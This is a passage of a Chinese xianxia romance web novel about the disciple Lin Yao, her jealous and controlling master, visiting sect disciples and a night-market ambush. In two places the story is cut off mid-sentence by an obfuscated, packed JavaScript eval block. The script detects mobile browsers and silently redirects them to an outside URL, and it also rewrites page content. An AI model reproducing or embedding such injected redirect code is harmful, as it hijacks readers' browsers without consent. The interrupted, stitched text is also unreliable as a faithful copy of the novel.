妈的你还是个人?上次跟你借两颗灵石修补我那身经百战、风烛残年的老魂灯你说没钱,转头就拿上品灵石给林瑶穿手链!死舔狗!我祝你舔到最后一无所有! 不过话说回来…… 宫玄烛侧目看看傻白甜大师姐,心里盘算着要不要反其道而行之,把林瑶打包卖给尹星灯,然而让他把整个星辰宫转让给我,简直是两全其美,各取所需,美哉美哉…… 还不知道自己马上要被同门师妹卖了的林瑶款款走了过来,因为前不久才哭喊过嗓音略显沙哑。 “玄烛,你那个阴桃花的事情怎么样了,需要我帮忙吗?” 宫玄烛勉强从发财的梦里醒来,清咳几声:“这个嘛,小事一桩,差不多解决了吧。” 林瑶好奇道:“你怎么做到的?那个阴桃花好像挺棘手的,我上次跟师父提起,他还以为是我撞上了桃花煞,非要在我房间里建法坛,跟他解释了好久他才弄清楚,说会帮你处理的……” 宫玄烛攥紧了拳头,骨节咔咔作响,冷笑两声:“他就是随口敷衍你两句听不出来吗?他的时间都用来修炼舔狗秘籍了,哪有空管我的死活啊,不过你也不用担心,我之前说过帮他抱得美人归这屁话撤回,林瑶,你还想不想获得自由了?我这有本故事集免费送你了。” 林瑶接过书打开一看……民间故事集……白蛇传……仙女湖…… 林瑶道了谢,收起书先去桐华宫看望皇后……她还是面容憔悴,林瑶跪在床前侍奉汤药,轻轻握住她骨瘦如柴的双手,皇后不肯喝药,她就这么一直跪着,皇后叹息一声,最终还是妥协了,她整个人仿佛一下苍老了十几岁,但幸亏尹星灯没有把墨玉沉妖化的事说出来,只是说皇后怀孕期间冲撞了妖物,导致胎死腹中,被妖物借腹降生,而真相是,她本来就是怀了一个妖的孩子…… 林瑶每日都会去凤仪宫看望皇后……现在应该是太后了,有七皇子和九公主承欢膝下,太后的病体渐渐好转,一心扑在了这两个孩子身上,但林瑶看到她有时候望着这两个孩子出神的目光不免暗暗唏嘘世事无常,长姐心里定还是想着自己那个可怜的孩子的。 为什么大家都没有做错,结果却是这样的,尹星灯将一切归于天命,林瑶却打心底里不承认,她不相信有什么天命,至少现在不信。 她站在一侧看着太后在佛堂里虔诚地跪拜祈福,心里不禁感慨,或许神佛就是人们心底最后的一根支柱吧。 她回到星辰宫时已经暮色渐和,换完衣服坐在床边摸到了宫玄烛给她的那本民间故事集,这几天总是担心长姐的精神状况,她也是许久没有放松下来了,于是斜倚在床上,单手支着额头翻开书细看了起来。 白蛇传讲的是一条为了报恩的白蛇化作美女嫁给了姓许的郎中,后来郎中发现妻子是蛇精就躲去了寺庙里,白蛇去找丈夫被和尚收进了钵盂里,许郎中以为自己安全了,心有余悸地回家,途中发现身后有悉悉索索的响动,一回头发现是一条气息奄奄、伤痕累累的白蛇,白蛇发现他回头看自己,嘴里发出十分哀怨的女子哭泣的声音:“相公……救救妾身……相公……” 郎中吓得手脚冰凉,被白蛇追得慌不择路地逃跑,最后被白蛇如怨如诉的哭泣惹火了,一回头面露狰狞,拿一根藤条发疯般往白蛇身上抽去、边抽打边用脚踩……不知过了多久,他满头大汗地跌坐在了地上,长舒了一口气。 林瑶看完这页只觉得浑身汗毛都竖起来了,霎时间就被这猎奇的故事书吸引住了,跟她以前看的故事完全不是一个套路,难道,难道正确的版本不应该是白蛇和郎中真心相爱,最后白蛇被囚禁在塔中,郎中为她出家做了和尚吗? 她迫不及待又去看下一个故事。 某某山,某某村,距离村庄百里之外有片小树林,林子里有片清澈的天然温泉,这片温泉被天上的七仙女发现后,仙女们经常来这里洗澡。 这个村子里有个贫苦的男子,天天去野外放牛,这头牛也了不得,是头会说话的牛,它告诉牛郎,每个月十五的傍晚会有一群仙女来林中温泉里沐浴,他可以偷走其中一个仙女的衣服,胁迫她嫁给自己。 牛郎心思活络很快就摸索到了仙女湖附近,并且拿走了仙女的羽衣,没有羽衣的仙女飞不回天宫,被迫留在小山村里为牛郎生儿育女,无论仙女对牛郎多好,牛郎始终不肯将羽衣还给她。 后来遇到灾荒,牛郎愈发贫困,几乎吃不上饭,他只好杀了老黄牛充饥,老黄牛临死前将牛郎藏羽衣的地方告诉了仙女,仙女趁着牛郎外出便拿出羽衣毫不犹豫地飞走了…… 林瑶看着故事结尾久久没有翻动下一页,师父给她讲的牛郎织女的故事不是这样的啊! 这本书虽然看起来充满了血腥邪恶的元素,但貌似更贴合现实、符合人性…… 尹星灯看林瑶的房门开着就进来了,见对方斜倚在床上翻书,鬼使神差地走了过去,大致将那书的内容扫了一眼,原本轻松愉悦的神色刹那间垮了下来,咬牙问道:“瑶儿,这书哪里来的?” 他忽然出声吓了林瑶一跳,抬眼一看是师父来了,连忙起身端正仪态,正好满腹疑问,于是反客为主道:“师父,为什么这本书里的白蛇传和牛郎织女跟现在流传的故事不一样呢?” 尹星灯听她那个?伸出了手,板正了脸色:“没收。” 林瑶条件反射地将书藏在身后:“为什么?” 尹星灯面不改色心不跳,一本正经地胡说八道:“这书太过邪恶了,血腥恐怖不适合你看,若是无聊为师等会儿找几本童话书你慢慢看。” 林瑶气得咬紧牙关,无可奈何地一跺脚:“我不看豌豆公主……” 尹星灯默默点头:“哦,也对,那书你三岁的时候就看过好几十遍了,那为师再帮你改编一下,蚕豆公主、土豆公主行不行?” 林瑶抬手掐着人中,生怕自己气晕过去,生无可恋道:“我把书给你,你别折磨我了……” 尹星灯得偿所愿地接过书,看着徒儿了无生趣的模样微微噙笑,伸手去摸她的头被对方躲开了,他也不生气,依旧笑意浅浅:“文渊阁以后随你进出了。” 林瑶仿佛蔫了的花骨朵立刻又支棱起来,看着尹星灯手里一枚金灿灿的令牌简直眼睛冒光,这当然是对知识的渴求。 “那就多谢师父了……” 她伸手去拿令牌,对方闪了她一下,笑得不怀好意:“这就完了?怎么也得来点实际的吧?” 林瑶“哦”了一声,回头去自己的梳妆台上翻了一会儿,抱了个沉甸甸的匣子过来,尹星灯两眼一黑,好吧,好吧,这也算是他的教学失误,豌豆公主看多了给孩子看魔怔了,脑壳里的水一时半会也倒不干净,没事没事,循循善诱还是可以弥补的。 “要不,你亲为师一下,文渊阁令牌就给你,怎么样?” 林瑶惊恐地摇摇头:“不怎么样。” 尹星灯挑眉,继续灌迷魂汤:“书你不想看了吗?” “我觉得我可以跟别人去换一个令牌……” 尹星灯忍无可忍地拉着她的手往外面走去,林瑶还在垂死挣扎。 “师父,天都黑了你要带我去哪儿……” “谁规定天黑了就不能出门了?还有,私下交易官方凭证在咱们这个洲不合法,趁早打消这个念头吧。” 林瑶抿着嘴不说话了。 玄都的夜无疑是人间天堂,火树银花不夜天,五光十色的走马灯令人眼花缭乱,街头小吃惹得顽童驻足不前,满楼红袖招惹纨绔公子流连忘返,时不时又有花前月下窃窃私语的少男少女,而尹星灯紧紧拉着林瑶的手,仿佛生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尹星灯也不问她许了什么,反正那花灯最后他也会捞上来的。 把林瑶打发到旁边的小亭子里去体验非遗缠花工艺,他来到池边手指一勾,池子里静静漂浮的花灯堆里,一只白莲灯飞回了他手里。 让为师看看你到底有什么样的小心愿…… 花灯上两行半略显潦草的行楷小字:抱歉宫二公子,形势所迫,我不是故意给你增添工作量的。 花灯被恼羞成怒的某国师一把捏成了碎片,怒气冲冲走到银汉亭里,看到林瑶坐在摊主对面,正在认真地缠花,左手掐着铜丝和一片花瓣贴片,右手食指绕着一根绯红的绒线,贴合着贴片形状灵巧地上下翻飞,线圈之间紧密排列,恰如鲜花之上的天然纹理。 她做事总是很专注,下垂的睫毛许久才会轻轻扇动一下,等一支花缠完收尾,她才抬眸,蓦然惊觉身边有人,立刻站了起来,而尹星灯注视着她白皙指尖捻着的那支过分翡丽的缠花,眸光微动。 “瑶儿做的这支是什么花?” 林瑶忽然记起宫玄烛说过,欠的人情可以用小礼物偿还,眼下岂不就是机会? 于是手里的缠花递了出去,她轻声道:“这是海棠。” 尹星灯显然瞳孔一震,缓缓伸手去接,一手紧紧捏着海棠花,一手穿过林瑶腋下环住那段纤腰将她死死按进自己怀里,声音轻颤:“这是特意做给为师的?知我者莫过瑶儿,星辰宫没有一株海棠,你如何得知为师喜欢海棠呢?” 林瑶已经从他手里挣脱了,理了理自己被弄乱的衣服和发丝,由衷道:“我怎会知道,随便做的。” 尹星灯笑意更盛,拿手里的花轻轻点了一下林瑶光洁的额心:“随便一做就让为师这般开心,看来瑶儿果然与我心有灵犀。” 缠花收尾处的铜丝被尹星灯折成一个环形,那支海棠缠花被他戴到了左手中指上,怎么看怎么伤风败俗……林瑶不忍直视地别过了脸。 “国师!” 这尖细的嗓音一下穿透了人墙,师徒两人齐齐回首,只见一个红衣太监扶着帽子满头大汗地拨开人群跑到近前,跪地施礼,气喘吁吁道:“国师大人,有位自称是什么梵净山的弟子,在星辰宫没找到您找到宫里来了,奴婢已经暂且将人安置到鸣鹤馆了。” 尹星灯微微点头,随后看向林瑶,低声道:“瑶儿若是累了为师派人送你回去,还是你想随为师一起去见见这位梵净山的使者?” 林瑶还没有怎么见过别派弟子,印象里只记得潮汐宫的人,对梵净山无比地好奇,于是点头道:“弟子想随师父去见见梵净山的使者。” “也好。” 38. 梵净招生 尹星灯微微颔首朝那太监示意,太监立刻招呼人将车马赶过来,伺候那师徒二人上了车往宫中赶去。 尹星灯问道:“来了几人?年岁如何?可说是为何而来?” 外面驭座上的太监恭声答道:“回国师大人,来了两人,一男一女,都是十八九岁的模样,只说是领师尊之命求见国师,余者只字未提。” 尹星灯淡淡“嗯”了一声面向林瑶:“看来是两个小辈,瑶儿不必紧张,从容应对即可,咱们星辰宫的弟子也不差,莫要怯场。” 林瑶点点头,眸底显然闪过些许期待的光芒,随后瞥向尹星灯指根的海棠花,略有些尴尬地提醒道:“师父,这个还是先取下来吧……” 尹星灯看着她随即了然一笑,只见那杏叶大小的缠丝海棠化作一枚浅金色戒指,戒指上的五瓣海棠犹如璀璨的红宝石,花瓣边缘有金丝缠绕,颇为精致玲珑,如此环贴在他肤白骨润的指根,红者愈发鲜妍明媚,白者越发苍冷清贵。若这戒指有灵性或许都要引以为豪,能佩戴在此人身上是自己修了几辈子的福分。 而本人盯着林瑶的眸光灼灼,仿佛在说“为师都听你的”,某弟子顿感无地自容,被盯得丢盔弃甲别过脸看向车窗外。 由宫人提着灯带领着进入鸣鹤馆,尹星灯在前,林瑶在侧后方跟随,宫女通报了“国师驾到”之后,林瑶看到客厅里东边椅子上并排坐着的两个人站了起来,几乎是同时拱手行礼,身上梵净山弟子校服穿得整整齐齐,天青色交领广袖衫外面罩着一层如烟似雾的白色薄纱,系着绣有洁白六瓣两重莲的靛青色掐银边腰封,轻盈中又不失端庄,一举一动广袖飘飘,亭亭如湖中净莲,大概是顾忌礼仪身上却不见佩戴法器。 两人异口同声道:“梵净山弟子叶斐(盛祁星)拜见宫主!” 尹星灯浅垂腰间的手展平微微向上一抬,声音带着几分冷肃脸上却又带着一丝浅淡的笑意:“两位小友不必如此拘礼,都是自家人,请坐。” 林瑶许久没见正经成这样的师父了,求两位仙友多在星辰宫待几天吧! 尹星灯落于上方主座,林瑶刚在他身后站定,尹星灯侧目向那两人道:“这是本座的大弟子林瑶。”随后向林瑶微抬下巴示意。 林瑶款款自他身后走出行至叶斐、盛祁星面前,那两人又连忙站起,相互施礼问好。 “叶师兄、盛师姐好。” “林师妹好。” 见面过后步入了正题,三人各自落座,尹星灯接过宫女奉上的香茶,单手扣着微烫的茶盏在手中轻轻摇晃,状似随意地问道:“叶掌门可还好。” 右侧首座的叶斐微微颔首,语气平缓地笑答:“家师一向都好,派中事务虽多但好在有各位师叔辅佐,也算条理有序。” 尹星灯又道:“两位小友远道而来,想必是有要事?不妨直说。” 叶斐侃侃而谈,显得从容不迫,颇有名门大派首席弟子的风范:“尹宫主料事如神,果然如此,只因我派自十九年前于槐荫镇一战中损伤惨重,如今更是三峰无主、派中弟子凋零,是以掌门与诸位师叔商议招收新秀、举行雨露试炼,诚邀天下英才参会,久闻宫主担任朝中要职,出将入相、统辖宇内,还请宫主协助我派宣传造势,届时若宫主愿赏光参会,我派欢迎之至,必当扫榻相迎。” 尹星灯忍着想打断的冲动听这位小叶同学转文,简直想吐血,叭叭叭一长篇下来一句话就能概括了:我们要招新弟子了你给打个广告吧! 那名女弟子盛祁星从袖口里摸出一份靛蓝色小册子并一份书信双手奉上,恭声道:“这是我派叶掌门亲笔所书的请柬以及蘅泽君亲笔书信一封,请宫主惠见。” 林瑶连忙接过转交给了尹星灯。 尹星灯先打开那封请帖看了看,大致跟叶斐所说的相差不多,只不过更加凝练概括、措辞得体、语气诚恳,落款盖了两枚金印,一枚是梵净山六瓣两重莲的门派图腾,另一枚自然是掌门叶静秋的私印。 那份信尹星灯没有现场拆开看,而是揣进了袖子里,既然是宋霜写的,无非是一些私事。 尹星灯将请帖微微向旁边一递,林瑶上前一步接了过去,他这才抿了口手里的茶,淡然道:“叶掌门抬爱了,尹某不过红尘之中一富贵闲人,哪有那么大的本事能振臂一呼应者云集?” 听了这话叶斐与盛祁星对视一眼,前者还算镇定,后者却有些坐不住了。 尹星灯又恰逢其时道:“不过,既然是叶掌门与诸位仙僚错信,两位小友又千里迢迢送信过来,某虽不才,愿竭驽钝。” 叶、盛二人一听这话齐齐起身拱手:“晚辈代梵净山谢过宫主,有劳清神。” 尹星灯笑道:“两位远道而来,于情于理也该在星辰宫做客几日,也好让尹某尽地主之谊,还望两位莫要推辞。” 叶、盛两人对视一眼又齐齐拱手施礼:“既是宫主盛情相邀,晚辈恭敬不如从命,多有叨扰了。” 回星辰宫的路上,尹星灯独乘一车在前,林瑶跟叶斐、盛祁星三人乘车在后,林瑶又道了辛苦,询问两人有何忌口、喜好,那二人也问候几句,本就年纪相仿,一来二去就熟悉起来了。 叶斐看向温柔娴静的林瑶,眸光微含欣赏之色,温声笑道:“说起来,祁星你跟林师妹所修同属占星一脉,你们二人应该有的聊了。” 盛祁星微嗔道:“师兄你不要瞎说,我师尊早就把占星术遗弃了八百年了好不好,现在一心扑到炼器上去了,简直是两耳不闻窗外事,一心只造废铁炉,苦了我们摇情峰的弟子,天天被丢出去挖矿石,我这手都快起茧子了。” 林瑶掩唇一笑,眉眼弯弯:“没想到美名在外的摇情君还有这样的一面,倒是性情中人,只可惜林瑶暂时无缘得见。” 盛祁星摇摇头:“岂止是他,我感觉梵净山的峰主就没几个正常的,三师伯一讲话第一排恨不得打伞听,还好意思腆脸问我为什么带面纱?严肃的简直跟活阎王一样,一节课憋到肚子疼愣是不敢上厕所,洒脱的又太过放纵弟子,导致大家天天逃课,还有个最不靠谱的花小师叔,讲个课东拉西扯三纸无驴,他倒是人缘好,就是没一个顺利结课的,别人都是知识里有水分,他是水分里有知识。” 盛祁星回忆起这位奇葩花小师叔授课的模样简直能当场吐血,当初她初生牛犊不怕虎,举手激情开麦:花师叔,您这么水课程掌门真的没有意见吗? 当时那位奇葩峰主微微一笑道:这位同学提出的问题非常的好,至于掌门为什么要选我授课呢,这个问题还要从很久很久以前说起,当初啊……这就是为什么我们梵净山一直坚持吃素的原因,说起这个我还是得说道掌门两句,咱又不是兔子,说起这个兔子,你们十师叔养的兔子到底是让谁烤了?你说说你这孩子……你怎么能吃独食呢?下不为例啊,下课! 叶斐忍不住扶额,可怕的是盛祁星说的全是实话,虽然但是,师妹你倒是顾及一下咱家长辈们的颜面啊! 看着师妹还在发牢骚忍不住打圆场,悄悄拉她衣袖:“师妹啊,我们此行是来招生来了,不是给梵净山抹黑来了……” 盛祁星不动声色地拽回自己的衣袖,娇嗔一声:“林师妹又不会加入梵净山你怕什么,到时候我们去忽悠别的怨种不就行了?” 紧接着她一拍车壁,义愤填膺:“说起花焚熠我就来气,要不是他我那门南蘋洲语言学就不会挂,害我竞选门派首席失败了!真是气死我了,活该他被取消授课资格!” 叶斐后知后觉想起一件事,盯着还在生闷气的盛祁星,忍不住问道:“师妹,掌门收到的那些举报信里是不是也有你的份?” 盛祁星冷哼,大大方方地承认了:“没错,八百多封恶意差评和投诉信都是我写的,摇情峰牌活字印刷机你值得拥有。” 叶斐感到一阵恶寒,发誓以后惹谁都不惹女人,尤其是旁边这个叫盛祁星的女人。 几个人说说笑笑便到了星辰宫,林瑶给这两人安排食宿,忙完之后还没来得及回自己房间就被尹星灯半路截胡了,国师的脸色黑沉如锅底,捏着林瑶手腕的力道大得出奇,林瑶忍不住蹙眉,一声“师父”没喊出口,对方先发难了。 “说,你跟那两个人在聊什么?有那么开心吗?怎么平时跟为师说话就不见你这般开怀,还是说,你对那个叶斐心生好感了?” 他越靠越近,说到最后眼睛里已经泛起了血色,简直恨不得将林瑶生吞活剥了。 林瑶连声解释道:“我没有,师父你误会了,我是在和盛姑娘说话,不是你想的那样!” 尹星灯余怒未消,抬手捏住了林瑶的下巴,强迫她抬头看向自己:“最好是这样,后天我就打发这两个人回去,明天你带他们去城中走走……” 说到这里他微微眯起眼睛凑近林瑶低声道:“若是让我发现,你跟那个叶斐有什么过分的举动,你知道后果。” 林瑶忍着下颌传来的剧痛,勉强应是,尹星灯这才松手,闭上眼睛深呼吸几次调整情绪,意识到自己可能是太过草木皆兵了,林瑶修无情道,没有那么容易对别人动情…… 看着站在旁边默默揉着手腕的林瑶又忍不住怜惜起来,轻轻执起她的手,温声软语地安抚:“对不起瑶儿,为师不是故意的,我只是,只是太害怕你会被别人抢走了。” 他一脸无辜,林瑶无语至极,忍不住讥讽了两句:“师父多虑了,弟子又不是传国玉玺,哪里值得别人争来抢去。” 尹星灯忍不住莞尔一笑,屈指刮了一下林瑶的鼻尖:“你啊,跟玄烛学坏了,哪有这么噎师父的?在为师心里啊,我的瑶儿比传国玉玺可宝贝多了,拿九洲跟我换都不行。” 翌日,尹星灯自去上朝,林瑶陪客人用完早膳询问他们是否想去城中参观,得了肯定的答案后三个人便出发了,林瑶在晚上便做了功课,打算上午带叶斐他们去城西的蓝音寺,中午去慕雅轩吃饭,下午便回星辰宫休息,等到晚上再去绮霞池一带游玩。 蓝音寺建寺至今八百年之久,几乎占了城西一半土地,属于皇家寺院,历代帝王都有出资修缮,至今依旧气势恢宏,维持着古早风貌,叶斐、盛祁星两人果然目露惊喜之色。 林瑶适时做一点介绍,多半是这两人在自主参观。 她轻声道:“第一间大殿是天王殿,中间是释迦牟尼,再往后一间是大悲殿,最后面是万佛塔。“ 她微微仰首看向前方,一座高出前三间大殿的高塔赫然在目。 叶斐和盛祁星看得很仔细,眸露欣赏,赞不绝口,却并不跪拜,林瑶倒不觉得意外,许多门派都有自己信仰的祖师、神明。比如芙蕖观就信奉三清祖师这些道教神仙;潮汐宫以及他们的附属门派流光宗信奉第一代洛神曲淋漓;梵净山则信奉开创慈悲道的释怀璧、帝香音等先辈,宗旨就是梵音渡世、三千世界什么的,大概属于另一支佛教,具体林瑶也不太懂,而自家星辰宫信什么林瑶就更是云里雾里了,偶尔问起,尹星灯就随口敷衍: 信什么?信为师就好啊。为师神通广大有求必应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489971|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岂不是比那些木雕泥塑更灵验? 梵净山弟子是不沾荤腥的,幸亏昨天林瑶早有了解,在慕雅轩安排了一桌精致可口的素菜,煎炒烹炸都有,盛祁星简直泪流满面,她好久都没吃到这么好吃的饭菜了,想当初她被师尊匡月忽悠上梵净山,说好了峰主首席,食宿全包、单人单间、四菜一汤,哪里知道其中大有文章,你家四菜一汤是小葱拌豆腐、豆腐拌小葱、豆腐拌豆腐、小葱拌小葱啊?看到最后一道葱花汤时四岁的盛祁星哭了。 “师尊,我要回家!” 匡月一脸严肃道:“不可以,你我已经有了师徒之名,你只能是我摇情峰的弟子,非要退门派的话先交五千灵石的违约金,而且学费我是不会退给你的。” 若不是梵净山名声在外盛祁星都怀疑自己遇上土匪了! 林瑶单手撑着下巴,百无聊赖间一道灵光又飘进了窗户里,紫色的小纸鹤飞上了她的胳膊,三两下踩着衣袖堆叠起来的褶皱跳到了她的肩头,尹星灯的声音传进了耳朵里,当然只有林瑶一个人能听见。 “瑶儿,为师很是想念你,怎的还不回来?” 林瑶两指夹住那个不停在她耳边唠唠叨叨的纸鹤毫不犹豫按进了眼前的茶杯里,然后拿盖子盖上,随后若无其事地又重新给自己沏了一杯茶。 等他们吃完饭,在林瑶面无表情地淹死第五只小纸鹤后,当第六只飞过来的时候,林瑶想毁灭它的动作一顿,因为她听见了尹星灯令人头皮发麻的咬牙切齿的微笑声。 “乖徒,你还回来吃晚饭吗?” 林瑶隐约觉得如果再不给师父回句话,那么她死的可能会比那几只纸鹤还惨。 于是某国师在遣走第六只纸鹤后终于收到了爱徒的回复,原本紧锁的眉头终于舒缓,两指夹着纸鹤挨近自己耳边如聆神谕,听到了浅浅的一声“嗯”。 …… 晚上最热闹的地方无非是绮霞池附近,灯火璀璨、游人如织。今夜似乎更是喧嚣…… 一群人围成一个圈,人头攒动、议论纷纷,林瑶等人好不容易才凑上去,原本以为是杂耍什么的,没想到却是一样见所未见的生物。 被人群围在中心的杂耍艺人是一个四五十岁的中年男人,一张看了让人记不住的脸,手里拿着铜锣不时敲打一下:“瞧一瞧看一看咯,硕鼠表演马上开始,走过路过不要错过!” 到成人膝盖高的铁笼子里有一只肥硕的巨大老鼠在急躁地转圈,身上的皮毛油光发亮,仿佛柔滑的缎子面,一对小眼睛却是血红的,散发着诡异的幽光,硕鼠似乎很厌恶围观自己的路人,时不时朝铁笼外面的人呲牙,喉咙里发出急促的吱吱声,一对相较于它庞大的身躯来说有些娇小的前爪不停地抓挠着铁笼。 林瑶看了一眼转头就想走,但盛祁星似乎有些感兴趣,目不转睛地盯着笼中硕鼠,林瑶只好停住迈出的脚步。 就在这时,一个年轻小伙在中年男人的指导下将笼门打开,拽着硕鼠粗壮如井绳的长尾巴将它拖了出来,围观人群又是一阵骚动。 硕鼠脱离牢笼后似乎又胆怯了起来,蜷缩在原地仿佛一团毛球,尾巴紧紧圈住自己的身体,无论杂耍艺人怎么逗引哄劝就是不肯表演转圈、算数的项目,气得那个中年人破口大骂,眼见围观的群众已经走了一小半,中男人面露凶光,提着鞭子的手腕一抖,凌厉的牛皮鞭子带着风抽在了硕鼠身上,硕鼠嗓音尖利地嚎叫着,一声比一声激烈,前爪疯狂地刨着坚硬的地面,似乎想刨出一个洞将自己藏起来,在这空当里它已经挨了好几鞭子。 盛祁星手中灵光微动就被旁边的叶斐眼疾手快地按住了,前者眸底染上了三分愠怒,气息不均道:“师兄你拦我做什么?万物生而有灵,此人实在可恶!” 叶斐微微朝她一扬下巴,盛祁星侧目看去,只见林瑶双手合十,继而手腕翻转,十指结作一个花印,迅速在空中点了几下,刹那之间电光划破长空,豆大的雨点砸向地面,不消片时已经是倾盆大雨,围观路人登时作鸟兽散,那杂耍艺人似乎没想到会忽然天降大雨,茫然了一阵气愤地咒骂起老天爷来了。 林瑶刚松了一口气,还没来得及擦一把脸上的雨水,忽然之间那只硕鼠朝他们三人冲了过来,血红的眼睛里凶芒毕露,看似肥硕的身体移动起来居然快如奔兔,几个呼吸之间已经近在眼前。 “师妹小心!” 叶斐手腕一抖出现了一把墨色长剑,一手抓住盛祁星的手腕向自己斜后方一甩,另一手执剑斜向下劈,而盛祁星借着被叶斐向后甩的空当,手臂上出现了一只弓弩形状的东西,对准地上的硕鼠三箭连发,师兄妹二人虽然配合得当逼退了硕鼠,但是那个中年杂耍艺人已经提着两把寒光凌冽的长刀一个纵跳出现在了盛祁星身后,多亏叶斐眼疾手快,喝令一声“低头”随后毫不犹豫地执剑扫过盛祁星头顶,格挡住了中年人的单刀,另一刀刚要砍至叶斐的腰被盛祁星一支弩箭射歪斜砍向自己,中男人拧腰一转化去左手刀的力道,右手刀刺啦一声从叶斐的剑刃上斜切下去,两相擦出四溅的火星。 林瑶一愣神的功夫双方已经交手了好几回合,她实战经验甚少,刚祭出问灵魂灯,身后忽然出现了一个鬼魅般的身影,她迅速转身,魂灯蓝紫色的光芒映亮了那人下半张脸,他一袭黑衣隐藏在夜色里如同幽灵,头上遮着一顶斗笠,帽檐下压遮住了眼睛,雨水顺着他苍白的脸颊往下流,那人叼着一根狗尾巴草,薄唇勾起一抹冰冷而邪恶的笑意。 “小美人,三打一多没意思,我来陪你玩玩。” 39. 在下,六个水 这是之前帮杂耍艺人往笼子外面拖硕鼠的那个年轻人。 林瑶脑海里刚闪过这个念头,那人已经勾手成爪朝她肩膀袭来,速度之快林瑶根本躲不过,眨眼间喉咙一痛,后背紧紧贴上了一片坚实的东西,凉薄的呼吸喷洒在她脸上,那人有些遗憾地轻啧一声,呸掉了嘴里的狗尾巴草:“原来小美人这么中看不中用啊,不过也好,正好我穷得娶不上老婆,这下我老爹不用愁了。” 林瑶咬紧牙关,一个肘击过去让对方死死锁住了胳膊肘,抬手一击她整条胳膊都麻了,软绵绵垂在了身侧,那股酸麻更是顺着手臂传遍了全身,她手中魂灯掉落之前让那年轻人接在了手里,他惊奇地提在手里看了看:“嗯,正好我家鸡棚里缺个照亮的灯,多谢媳妇儿馈赠。” 他揽过林瑶纤细的腰身往自己肩膀上一甩,扛着她几步跃上了屋顶,抽空朝下面喊了一句:“老爹,你慢慢收拾那两个家伙,我先回去成个亲!” 林瑶屈辱地在他肩膀上挣扎着,声嘶力竭地呐喊:“放开我!我师父是星辰宫宫主、琅嬛国师,他若发现我不见了定会来寻找,到时候你们一个都跑不了!” 年轻人一边扛着她急促奔跑,一边却气息平缓地笑道:“又是星辰宫主又是琅嬛国师,你到底几个师父?” 林瑶脑子里飞速思考着今天发生的事,这个人出手果断、修为高深莫测,盯着她一个藉籍无名之徒着实蹊跷,莫非是…… 林瑶当即问道:“你们是为了那两位梵净山仙友而来?今夜之事就是为了引他们出手,究竟所图何事?” 林瑶心下暗道:莫非真是为了对付梵净山,那抓她做什么?她在玄都生活了这么多年从未遇到过这种事……不对!陌菱,陌菱小时候也被一群来历不明的人抓走过! 她忍不住胆战心惊,难道今天这两人和抓走陌菱的是同一伙?可是之前拐卖少女的血衣教不是已经被剿灭了吗? 年轻人笑得不紧不慢:“小美人,我只是为你而来,我对你一见钟情,所以呢,打算找个安静的地方和你单独聊聊。” 他跃下屋檐将林瑶稳稳放在地面上,此时月照花林,林瑶湿漉漉的衣服贴在身上,被风一吹寒意刺骨。 那人掀开头上的斗笠,露出了一张完整的脸,被雨水打湿的卷发贴在象牙白的皮肤上,一双狭长而深邃的桃花眸含着浓烈的笑意,很是奇怪,他遮住眼睛时,下半张脸带给人的感觉是不近人情的冷厉,而露出眼睛却如同摇曳盛放的罂粟花,笑得让人没来由地心慌。 “你叫什么?” 他开口问的就是这个。 林瑶见对方不为难自己,默默等着身上那股酸麻劲儿过去说了自己的名字。 “林瑶。” 年轻人摸摸自己的下巴琢磨着这个名字:“嗯,不知道的还以为你跟芙蕖观的林老道是兄妹呢。” 林瑶无奈地抬眼注视着他:“还未请教公子尊姓大名。” “我叫——六个水。” “啊?”林瑶呆住了。 那自称六个水的歪头一笑:“啊什么啊?” 林瑶知道对方完全是戏弄自己,气得玉面生煞,心里还在担心叶斐和盛祁星却只能勉强压住,继续跟这六个水周旋。 此人完全不暴露自己的目的,言行举止也相当诡异,着实有些难以对付,明明她现在受制于人,他却还不肯露出真面目,究竟所图何事? 六个水凝视她良久忽然叹气,桃花眸里灼灼的笑意也随着黯淡下去。 “难道你都忘了吗?我小时候晕倒在街边,就快饿死的时候是你救了我,我一直记得你,即使你现在长大了,我也还是一眼就认出了你,你当真不记得我了吗?” 林瑶从小到大帮助过的人没有一千也有八百了,想破了脑袋也记不起来对方究竟是谁,她这微微一愣神,六个水又立刻神采奕奕道:“不过没关系!我记得就成了,瑶瑶,嫁给我吧,我这几年街头卖艺攒了好多钱,我都给你!” 说着从全身上下翻出了一堆破破烂烂的铜板塞进了林瑶手里,趁她发愣之际飞速在她眉心浅啄一下随即身影消失。 “瑶瑶!等我回来娶你哦!” “不是……我……”林瑶干涩无力地想喊住他,却又不知道自己该问些什么。 这就走了?危机解除了?他绑架我的意义何在? 林瑶六神无主地一转身,看到月下站着一个颀长身影,对方脸色铁青,一步一步朝她走了过来,林瑶生出了一股拔腿就跑的冲动,但腿却怎么也迈不动,仿佛被对方冰冷到如有实质的目光钉在了原地。 这下被六个水坑惨了…… 尹星灯抬手抚摸上她的脸,继而下滑到她的肩膀,力道越来越大,似乎要捏碎她的肩膀,脸上却带着淡淡的微笑,发出的声音轻飘飘的,却伴着凶狠的笑意。 “真是我的好徒儿啊,彻夜不归出来跟人私定终身,为师真是小看你了……” 他说到最后低垂着眼眸,纤长的睫毛遮住了眼底泛起的血丝,死死钳在林瑶肩上的手终于松开,缓缓向下滑去,最终落在了她手上,轻轻掰开她的手指,捏着她手心里那些边角破损的铜板冷笑出声:“那个人是谁?” 林瑶摇摇头,急忙道:“师父,他是偷袭我和叶斐他们的刺客,叶斐他们还有危险,我等会儿再跟你解释好不好?” 